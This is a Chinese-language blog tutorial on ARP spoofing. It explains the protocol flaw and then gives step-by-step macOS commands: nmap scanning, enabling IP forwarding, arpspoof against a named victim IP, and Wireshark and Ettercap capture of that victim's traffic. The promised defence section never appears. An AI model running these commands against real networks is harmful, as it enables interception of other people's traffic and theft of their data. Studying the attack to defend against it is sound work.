当我们谈论计算机网络安全时,ARP攻击是一个经常被提及的话题。ARP(Address Resolution Protocol)是一个用于将IP地址映射到MAC地址的协议,它在局域网中广泛使用。但是,ARP协议存在一些安全漏洞,攻击者可以利用这些漏洞发起ARP攻击,从而获得对网络流量的控制权。在本文中,我们将深入探讨ARP攻击的原理、类型和如何保护网络免受其攻击。
正常上网情况:普通用户上网前会先向路由器(网关)发送一个arp请求以询问路由器的mac地址,而路由器(网关)会返回一个arp响应告诉用户自己的mac地址,普通用户再向路由器(网关)发送数据包,网关转发到公网实现上网的目的。
看似此流程很安全,数据也没有泄露,但是存在一个缺陷,计算机会根据收到的arp响应的顺序来确定将要转发数据包的对象,此时假象,如果黑客不断向普通用户发送arp响应告诉普通用户网关的mac地址是自己,普通用户便会讲数据发送给黑客。
以下测试均在Macos系统下进行:
获取当前网关地址
jsxarp -a // ARP缓存列表
route get default // 当前网关地址
假设得到网关地址10.250.0.1,下面也会使用该地址为网关地址
获取攻击机器IP
jsxbrew install nmap // 安装nmap工具
nmap -sP 10.250.0.1/24 // 扫描网关下的所有IP地址
假设攻击的IP为10.250.0.42
开启IP转发
jsxsudo sysctl -w net.inet.ip.forwarding=1 // mac
echo1 >/proc/sys/net/ipv4/ip_forward // linux
sudo sysctl -a | grep forward // 查看本机IP转发情况
forwarding=1为开启转发,forwarding=0为关闭转发,关闭转发后,被攻击者会出现断网。
ARP欺骗
jsxsudo arpspoof -i en0 -t 10.250.0.42 10.250.0.1
抓包
jsxsudo chmod 777 /dev/bpf*
Wireshark filter 输入 ip.src == 10.250.0.42&&http
以上方法仅能抓包http的包,若需要抓取https
需要安装Ettercap
jsxbrew install ettercap
brew install adwaita-icon-theme //内置gtk3
sudo ettercap -G
// sudo ettercap -G 若无法运行,则添加下面依赖
brew install libtiff
brew install gtk+3
本文作者:BARM
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!